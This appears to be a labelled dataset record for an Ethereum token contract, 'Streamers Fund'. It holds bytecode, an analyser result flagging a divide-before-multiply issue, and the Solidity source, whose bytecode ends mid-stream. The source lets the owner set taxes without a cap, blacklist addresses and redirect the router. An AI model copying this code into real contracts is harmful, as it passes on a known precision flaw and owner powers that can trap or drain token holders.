8908790611a84565b6001600160a01b0389166000908152600260209081526040808320939093556001905220546111bd908690611a84565b60065460009081906a52b7d2dcc80cd2e4000000825b6005548110156114755782600160006005848154811061131e57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b031683528201929092526040019020541180611397575081600260006005848154811061137057634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b156113b7576006546a52b7d2dcc80cd2e4000000945094505050506114b6565b60016000600583815481106113dc57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b0316835282019290925260400190205461140b9084611a84565b9250600260006005838154811061143257634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b031683528201929092526040019020546114619083611a84565b91508061146d81611ad6565b9150506112ee565b506a52b7d2dcc80cd2e400000060065461148f9190611a45565b8210156114b0576006546a52b7d2dcc80cd2e40000009350935050506114b6565b90925090505b9091565b816006546114c89190611a84565b6006556007546114d9908290611a2d565b6007555050565b80356001600160a01b038116811461059957600080fd5b600060208284031215611508578081fd5b611511826114e0565b9392505050565b6000806040838503121561152a578081fd5b611533836114e0565b9150611541602084016114e0565b90509250929050565b60008060006060848603121561155e578081fd5b611567846114e0565b9250611575602085016114e0565b9150604084013590509250925092565b60008060408385031215611597578182fd5b6115a0836114e0565b946020939093013593505050565b6000602082840312156115bf578081fd5b5035919050565b600080604083850312156115d8578182fd5b82359150602083013580151581146115ee578182fd5b809150509250929050565b6001600160a01b0391909116815260200190565b901515815260200190565b6000602080835283518082850152825b8181101561164457858101830151858201604001528201611628565b818111156116555783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b6020808252602a908201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260408201526965666c656374696f6e7360b01b606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f4163636f756e7420697320616c7265616479206578636c756465640000000000604082015260600190565b6020808252601f908201527f416d6f756e74206d757374206265206c657373207468616e20737570706c7900604082015260600190565b60208082526028908201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546040820152673c20b6b7bab73a1760c11b606082015260800190565b60208082526028908201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616040820152676c6c6f77616e636560c01b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526029908201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206040820152687468616e207a65726f60b81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b6020808252602c908201527f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460408201526b3434b990333ab731ba34b7b760a11b606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b90815260200190565b60ff91909116815260200190565b60008219821115611a4057611a40611af1565b500190565b600082611a6057634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611a7f57611a7f611af1565b500290565b600082821015611a9657611a96611af1565b500390565b600281046001821680611aaf57607f821691505b60208210811415611ad057634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415611aea57611aea611af1565b5060010190565b634e487b7160e01b600052601160045260246000fdfea26469706673582212208e2bef09ae0c82c737c50a610ceecce821ba62c5984e04807aca065e63994ccd64736f6c63430008000033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
5,076
0x214c10ca124aa936104b4f1cddfe429cf355cc24
/** *Submitted for verification at Etherscan.io on 2022-03-04 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.10; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address{ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _setOwner(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IFactory{ function createPair(address tokenA, address tokenB) external returns (address pair); } interface IRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; } contract StreamersFund is Context, IERC20, Ownable { using Address for address payable; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) public isBot; address[] private _excluded; bool public swapEnabled; bool public tradingActive; bool private swapping; IRouter public router; address public pair; uint8 private constant _decimals = 9; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1_000_000_000 * 10**_decimals; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 public swapTokensAtAmount = 500_000 * 10**_decimals; uint256 public maxTxAmount = 10_000_000 * 10**_decimals; address public marketingWallet = 0xb04dFE27757E3448145044E038b9092460eF121D ; address public lpRecipient = 0x3fb75798D0D5b34D438a4319aec939f53D1Ce06d; string private constant _name = "Streamers Fund"; string private constant _symbol = "$STRMFUND"; struct Taxes { uint256 rfi; uint256 marketing; uint256 liquidity; } Taxes public taxes = Taxes(3,7,2); struct TotFeesPaidStruct{ uint256 rfi; uint256 marketing; uint256 liquidity; } TotFeesPaidStruct public totFeesPaid; struct valuesFromGetValues{ uint256 rAmount; uint256 rTransferAmount; uint256 rRfi; uint256 rMarketing; uint256 rLiquidity; uint256 tTransferAmount; uint256 tRfi; uint256 tMarketing; uint256 tLiquidity; } modifier lockTheSwap { swapping = true; _; swapping = false; } constructor() { IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address _pair = IFactory(_router.factory()) .createPair(address(this), _router.WETH()); router = _router; pair = _pair; excludeFromReward(pair); _rOwned[owner()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[marketingWallet]=true; emit Transfer(address(0), owner(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function reflectionFromToken(uint256 tAmount, bool deductTransferRfi) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferRfi) { valuesFromGetValues memory s = _getValues(tAmount, false); return s.rAmount; } else { valuesFromGetValues memory s = _getValues(tAmount, true); return s.rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount/currentRate; } function excludeFromReward(address account) public onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is not excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function setTaxes(uint256 _rfi, uint256 _marketing, uint256 _liquidity) public onlyOwner { taxes = Taxes(_rfi, _marketing, _liquidity); } function _reflectRfi(uint256 rRfi, uint256 tRfi) private { _rTotal -=rRfi; totFeesPaid.rfi +=tRfi; } function _takeLiquidity(uint256 rLiquidity, uint256 tLiquidity) private { totFeesPaid.liquidity +=tLiquidity; if(_isExcluded[address(this)]) { _tOwned[address(this)]+=tLiquidity; } _rOwned[address(this)] +=rLiquidity; } function _takeMarketing(uint256 rMarketing, uint256 tMarketing) private { totFeesPaid.marketing +=tMarketing; if(_isExcluded[address(this)]) { _tOwned[address(this)]+=tMarketing; } _rOwned[address(this)] +=rMarketing; } function _getValues(uint256 tAmount, bool takeFee) private view returns (valuesFromGetValues memory to_return) { to_return = _getTValues(tAmount, takeFee); (to_return.rAmount, to_return.rTransferAmount, to_return.rRfi, to_return.rMarketing, to_return.rLiquidity) = _getRValues(to_return, tAmount, takeFee, _getRate()); return to_return; } function _getTValues(uint256 tAmount, bool takeFee) private view returns (valuesFromGetValues memory s) { if(!takeFee) { s.tTransferAmount = tAmount; return s; } s.tRfi = tAmount*taxes.rfi/100; s.tMarketing = tAmount*taxes.marketing/100; s.tLiquidity = tAmount*taxes.liquidity/100; s.tTransferAmount = tAmount-s.tRfi-s.tMarketing-s.tLiquidity; return s; } function _getRValues(valuesFromGetValues memory s, uint256 tAmount, bool takeFee, uint256 currentRate) private pure returns (uint256 rAmount, uint256 rTransferAmount, uint256 rRfi, uint256 rMarketing, uint256 rLiquidity) { rAmount = tAmount*currentRate; if(!takeFee) { return(rAmount, rAmount, 0,0,0); } rRfi = s.tRfi*currentRate; rMarketing = s.tMarketing*currentRate; rLiquidity = s.tLiquidity*currentRate; rTransferAmount = rAmount-rRfi-rMarketing-rLiquidity; return (rAmount, rTransferAmount, rRfi,rMarketing,rLiquidity); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply/tSupply; } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply-_rOwned[_excluded[i]]; tSupply = tSupply-_tOwned[_excluded[i]]; } if (rSupply < _rTotal/_tTotal) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private returns(bool){ require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(amount <= balanceOf(from),"You are trying to transfer more than your balance"); require(!isBot[from] && !isBot[to], "You are blacklisted"); if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to]){ require(amount <= maxTxAmount ,"Amount is exceeding maxTxAmount"); } bool canSwap = balanceOf(address(this)) >= swapTokensAtAmount; if(!swapping && swapEnabled && canSwap && from != pair && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]){ swapAndLiquify(swapTokensAtAmount); } _tokenTransfer(from, to, amount, !(_isExcludedFromFee[from] || _isExcludedFromFee[to])); return true; } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private { valuesFromGetValues memory s = _getValues(tAmount, takeFee); if (_isExcluded[sender] ) { //from excluded _tOwned[sender] = _tOwned[sender]-tAmount; } if (_isExcluded[recipient]) { //to excluded _tOwned[recipient] = _tOwned[recipient]+s.tTransferAmount; } _rOwned[sender] = _rOwned[sender]-s.rAmount; _rOwned[recipient] = _rOwned[recipient]+s.rTransferAmount; if(s.rRfi > 0 || s.tRfi > 0) _reflectRfi(s.rRfi, s.tRfi); if(s.rLiquidity > 0 || s.tLiquidity > 0) _takeLiquidity(s.rLiquidity,s.tLiquidity); if(s.rMarketing > 0 || s.tMarketing > 0) _takeMarketing(s.rMarketing, s.tMarketing); emit Transfer(sender, recipient, s.tTransferAmount); if(s.tLiquidity + s.tMarketing > 0) emit Transfer(sender, address(this), s.tLiquidity + s.tMarketing); } function swapAndLiquify(uint256 tokens) private lockTheSwap{ // Split the contract balance into halves uint256 denominator = (taxes.liquidity + taxes.marketing ) * 2; uint256 tokensToAddLiquidityWith = tokens * taxes.liquidity / denominator; uint256 toSwap = tokens - tokensToAddLiquidityWith; uint256 initialBalance = address(this).balance; swapTokensForBNB(toSwap); uint256 deltaBalance = address(this).balance - initialBalance; uint256 unitBalance= deltaBalance / (denominator - taxes.liquidity); uint256 bnbToAddLiquidityWith = unitBalance * taxes.liquidity; if(bnbToAddLiquidityWith > 0){ // Add liquidity to pancake addLiquidity(tokensToAddLiquidityWith, bnbToAddLiquidityWith); } uint256 marketingAmt = unitBalance * 2 * taxes.marketing; if(marketingAmt > 0){ payable(marketingWallet).sendValue(marketingAmt); } } function addLiquidity(uint256 tokenAmount, uint256 bnbAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(router), tokenAmount); // add the liquidity router.addLiquidityETH{value: bnbAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable lpRecipient, block.timestamp ); } function swapTokensForBNB(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); _approve(address(this), address(router), tokenAmount); // make the swap router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function startTrading() external onlyOwner{ require(!tradingActive, "Trading already active"); tradingActive = true; swapEnabled = true; } function updateMarketingWallet(address _marketingWallet) external onlyOwner{ marketingWallet = _marketingWallet; } function updateLpRecipient(address newAddress) external onlyOwner{ lpRecipient = newAddress; } function updateMaxTxAmount(uint256 amount) external onlyOwner{ maxTxAmount = amount * 10**_decimals; } function updateSwapTokensAtAmount(uint256 amount) external onlyOwner{ swapTokensAtAmount = amount * 10**_decimals; } function updateSwapEnabled(bool _enabled) external onlyOwner{ swapEnabled = _enabled; } function updateRouterAndPair(address newRouter, address newPair) external onlyOwner{ //Thanks Freezy router = IRouter(newRouter); pair = newPair; } function setIsBot(address user, bool state) external onlyOwner{ isBot[user] = state; } //Use this in case BNB are sent to the contract by mistake function rescueBNB(uint256 weiAmount) external onlyOwner{ require(address(this).balance >= weiAmount, "insufficient BNB balance"); payable(msg.sender).transfer(weiAmount); } // Function to allow admin to claim *other* BEP20 tokens sent to this contract (by mistake) function rescueAnyBEP20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner { IERC20(_tokenAddr).transfer(_to, _amount); } receive() external payable{ } }
0x60806040526004361061026b5760003560e01c8063715018a611610144578063a9059cbb116100b6578063dd62ed3e1161007a578063dd62ed3e146107c9578063e2f456051461080f578063e9dae5ed14610825578063ea2f0b3714610845578063f2fde38b14610865578063f887ea401461088557600080fd5b8063a9059cbb1461072a578063aacebbe31461074a578063bbc0c7421461076a578063cdb3858f14610789578063d257b34f146107a957600080fd5b80638da5cb5b116101085780638da5cb5b1461065b578063924de9b71461067957806395d89b41146106995780639ba5e4d5146106cb578063a457c2d7146106ea578063a8aa1b311461070a57600080fd5b8063715018a61461059d578063728f8eea146105b257806375f0a874146105ec57806388f820201461060c5780638c0b5e221461064557600080fd5b806340b28c2f116101dd57806347c23092116101a157806347c23092146104ca57806352390c02146104ea5780635342acb41461050a5780636256d181146105435780636ddd17131461056357806370a082311461057d57600080fd5b806340b28c2f14610412578063437823ec14610432578063441b1d3014610452578063452e68dd146104725780634549b039146104aa57600080fd5b8063293230b81161022f578063293230b8146103515780632d83811914610366578063313ce567146103865780633685d419146103a257806339509351146103c25780633bbac579146103e257600080fd5b806303c0f5d41461027757806306fdde0314610299578063095ea7b3146102e257806318160ddd1461031257806323b872dd1461033157600080fd5b3661027257005b600080fd5b34801561028357600080fd5b506102976102923660046124fd565b6108ac565b005b3480156102a557600080fd5b5060408051808201909152600e81526d14dd1c99585b595c9cc8119d5b9960921b60208201525b6040516102d99190612536565b60405180910390f35b3480156102ee57600080fd5b506103026102fd36600461258b565b61090a565b60405190151581526020016102d9565b34801561031e57600080fd5b50600a545b6040519081526020016102d9565b34801561033d57600080fd5b5061030261034c3660046125b7565b610921565b34801561035d57600080fd5b506102976109d3565b34801561037257600080fd5b506103236103813660046125f8565b610a5f565b34801561039257600080fd5b50604051600981526020016102d9565b3480156103ae57600080fd5b506102976103bd366004612611565b610ae3565b3480156103ce57600080fd5b506103026103dd36600461258b565b610c9a565b3480156103ee57600080fd5b506103026103fd366004612611565b60066020526000908152604090205460ff1681565b34801561041e57600080fd5b5061029761042d36600461262e565b610cd1565b34801561043e57600080fd5b5061029761044d366004612611565b610d37565b34801561045e57600080fd5b5061029761046d3660046125f8565b610d85565b34801561047e57600080fd5b50600f54610492906001600160a01b031681565b6040516001600160a01b0390911681526020016102d9565b3480156104b657600080fd5b506103236104c536600461265c565b610e2c565b3480156104d657600080fd5b506102976104e53660046125b7565b610eb6565b3480156104f657600080fd5b50610297610505366004612611565b610f59565b34801561051657600080fd5b50610302610525366004612611565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561054f57600080fd5b5061029761055e3660046125f8565b6110ac565b34801561056f57600080fd5b506008546103029060ff1681565b34801561058957600080fd5b50610323610598366004612611565b6110f2565b3480156105a957600080fd5b50610297611151565b3480156105be57600080fd5b506010546011546012546105d192919083565b604080519384526020840192909252908201526060016102d9565b3480156105f857600080fd5b50600e54610492906001600160a01b031681565b34801561061857600080fd5b50610302610627366004612611565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561065157600080fd5b50610323600d5481565b34801561066757600080fd5b506000546001600160a01b0316610492565b34801561068557600080fd5b50610297610694366004612681565b611187565b3480156106a557600080fd5b506040805180820190915260098152680914d514935195539160ba1b60208201526102cc565b3480156106d757600080fd5b506013546014546015546105d192919083565b3480156106f657600080fd5b5061030261070536600461258b565b6111c4565b34801561071657600080fd5b50600954610492906001600160a01b031681565b34801561073657600080fd5b5061030261074536600461258b565b61125f565b34801561075657600080fd5b50610297610765366004612611565b61126c565b34801561077657600080fd5b5060085461030290610100900460ff1681565b34801561079557600080fd5b506102976107a4366004612611565b6112b8565b3480156107b557600080fd5b506102976107c43660046125f8565b611304565b3480156107d557600080fd5b506103236107e436600461262e565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561081b57600080fd5b50610323600c5481565b34801561083157600080fd5b5061029761084036600461269e565b61134a565b34801561085157600080fd5b50610297610860366004612611565b61139a565b34801561087157600080fd5b50610297610880366004612611565b6113e5565b34801561089157600080fd5b5060085461049290630100000090046001600160a01b031681565b6000546001600160a01b031633146108df5760405162461bcd60e51b81526004016108d6906126ca565b60405180910390fd5b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b6000610917338484611480565b5060015b92915050565b600061092e8484846115a4565b506001600160a01b0384166000908152600360209081526040808320338452909152902054828110156109b45760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084016108d6565b6109c885336109c38685612715565b611480565b506001949350505050565b6000546001600160a01b031633146109fd5760405162461bcd60e51b81526004016108d6906126ca565b600854610100900460ff1615610a4e5760405162461bcd60e51b815260206004820152601660248201527554726164696e6720616c72656164792061637469766560501b60448201526064016108d6565b6008805461ffff1916610101179055565b6000600b54821115610ac65760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016108d6565b6000610ad0611957565b9050610adc818461272c565b9392505050565b6000546001600160a01b03163314610b0d5760405162461bcd60e51b81526004016108d6906126ca565b6001600160a01b03811660009081526005602052604090205460ff16610b755760405162461bcd60e51b815260206004820152601760248201527f4163636f756e74206973206e6f74206578636c7564656400000000000000000060448201526064016108d6565b60005b600754811015610c9657816001600160a01b031660078281548110610b9f57610b9f61274e565b6000918252602090912001546001600160a01b03161415610c845760078054610bca90600190612715565b81548110610bda57610bda61274e565b600091825260209091200154600780546001600160a01b039092169183908110610c0657610c0661274e565b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600282526040808220829055600590925220805460ff191690556007805480610c5e57610c5e612764565b600082815260209020810160001990810180546001600160a01b03191690550190555050565b80610c8e8161277a565b915050610b78565b5050565b3360008181526003602090815260408083206001600160a01b038716845290915281205490916109179185906109c3908690612795565b6000546001600160a01b03163314610cfb5760405162461bcd60e51b81526004016108d6906126ca565b600880546301000000600160b81b03191663010000006001600160a01b0394851602179055600980546001600160a01b03191691909216179055565b6000546001600160a01b03163314610d615760405162461bcd60e51b81526004016108d6906126ca565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b6000546001600160a01b03163314610daf5760405162461bcd60e51b81526004016108d6906126ca565b80471015610dff5760405162461bcd60e51b815260206004820152601860248201527f696e73756666696369656e7420424e422062616c616e6365000000000000000060448201526064016108d6565b604051339082156108fc029083906000818181858888f19350505050158015610c96573d6000803e3d6000fd5b6000600a54831115610e805760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c790060448201526064016108d6565b81610e9c576000610e9284600061197a565b51915061091b9050565b6000610ea984600161197a565b60200151915061091b9050565b6000546001600160a01b03163314610ee05760405162461bcd60e51b81526004016108d6906126ca565b60405163a9059cbb60e01b81526001600160a01b0383811660048301526024820183905284169063a9059cbb906044016020604051808303816000875af1158015610f2f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f5391906127ad565b50505050565b6000546001600160a01b03163314610f835760405162461bcd60e51b81526004016108d6906126ca565b6001600160a01b03811660009081526005602052604090205460ff1615610fec5760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c75646564000000000060448201526064016108d6565b6001600160a01b03811660009081526001602052604090205415611046576001600160a01b03811660009081526001602052604090205461102c90610a5f565b6001600160a01b0382166000908152600260205260409020555b6001600160a01b03166000818152600560205260408120805460ff191660019081179091556007805491820181559091527fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c6880180546001600160a01b0319169091179055565b6000546001600160a01b031633146110d65760405162461bcd60e51b81526004016108d6906126ca565b6110e26009600a6128ae565b6110ec90826128bd565b600d5550565b6001600160a01b03811660009081526005602052604081205460ff161561112f57506001600160a01b031660009081526002602052604090205490565b6001600160a01b03821660009081526001602052604090205461091b90610a5f565b6000546001600160a01b0316331461117b5760405162461bcd60e51b81526004016108d6906126ca565b61118560006119bd565b565b6000546001600160a01b031633146111b15760405162461bcd60e51b81526004016108d6906126ca565b6008805460ff1916911515919091179055565b3360009081526003602090815260408083206001600160a01b0386168452909152812054828110156112465760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016108d6565b61125533856109c38685612715565b5060019392505050565b60006112553384846115a4565b6000546001600160a01b031633146112965760405162461bcd60e51b81526004016108d6906126ca565b600e80546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146112e25760405162461bcd60e51b81526004016108d6906126ca565b600f80546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b0316331461132e5760405162461bcd60e51b81526004016108d6906126ca565b61133a6009600a6128ae565b61134490826128bd565b600c5550565b6000546001600160a01b031633146113745760405162461bcd60e51b81526004016108d6906126ca565b604080516060810182528481526020810184905201819052601092909255601155601255565b6000546001600160a01b031633146113c45760405162461bcd60e51b81526004016108d6906126ca565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b0316331461140f5760405162461bcd60e51b81526004016108d6906126ca565b6001600160a01b0381166114745760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016108d6565b61147d816119bd565b50565b6001600160a01b0383166114e25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016108d6565b6001600160a01b0382166115435760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016108d6565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b03841661160a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016108d6565b6001600160a01b03831661166c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016108d6565b600082116116ce5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016108d6565b6116d7846110f2565b8211156117405760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b60648201526084016108d6565b6001600160a01b03841660009081526006602052604090205460ff1615801561178257506001600160a01b03831660009081526006602052604090205460ff16155b6117c45760405162461bcd60e51b8152602060048201526013602482015272165bdd48185c9948189b1858dadb1a5cdd1959606a1b60448201526064016108d6565b6001600160a01b03841660009081526004602052604090205460ff1615801561180657506001600160a01b03831660009081526004602052604090205460ff16155b1561185d57600d5482111561185d5760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e7420697320657863656564696e67206d61785478416d6f756e740060448201526064016108d6565b6000600c5461186b306110f2565b600854911115915062010000900460ff1615801561188b575060085460ff165b80156118945750805b80156118ae57506009546001600160a01b03868116911614155b80156118d357506001600160a01b03851660009081526004602052604090205460ff16155b80156118f857506001600160a01b03841660009081526004602052604090205460ff16155b1561190857611908600c54611a0d565b6001600160a01b0385166000908152600460205260409020546109c89086908690869060ff168061195157506001600160a01b03881660009081526004602052604090205460ff165b15611b13565b6000806000611964611db8565b9092509050611973818361272c565b9250505090565b61198261248e565b61198c8383611f3b565b90506119a181848461199c611957565b611fe7565b6080860152606085015260408401526020830152815292915050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6008805462ff0000191662010000179055601154601254600091611a3091612795565b611a3b9060026128bd565b905060008160106002015484611a5191906128bd565b611a5b919061272c565b90506000611a698285612715565b905047611a7582612074565b6000611a818247612715565b601254909150600090611a949087612715565b611a9e908361272c565b601254909150600090611ab190836128bd565b90508015611ac357611ac386826121f5565b601154600090611ad48460026128bd565b611ade91906128bd565b90508015611afc57600e54611afc906001600160a01b0316826122b0565b50506008805462ff00001916905550505050505050565b6000611b1f838361197a565b6001600160a01b03861660009081526005602052604090205490915060ff1615611b81576001600160a01b038516600090815260026020526040902054611b67908490612715565b6001600160a01b0386166000908152600260205260409020555b6001600160a01b03841660009081526005602052604090205460ff1615611be45760a08101516001600160a01b038516600090815260026020526040902054611bca9190612795565b6001600160a01b0385166000908152600260205260409020555b80516001600160a01b038616600090815260016020526040902054611c099190612715565b6001600160a01b0380871660009081526001602090815260408083209490945584015191871681529190912054611c409190612795565b6001600160a01b0385166000908152600160205260409081902091909155810151151580611c72575060008160c00151115b15611c8957611c8981604001518260c001516123ce565b600081608001511180611ca157506000816101000151115b15611cb957611cb9816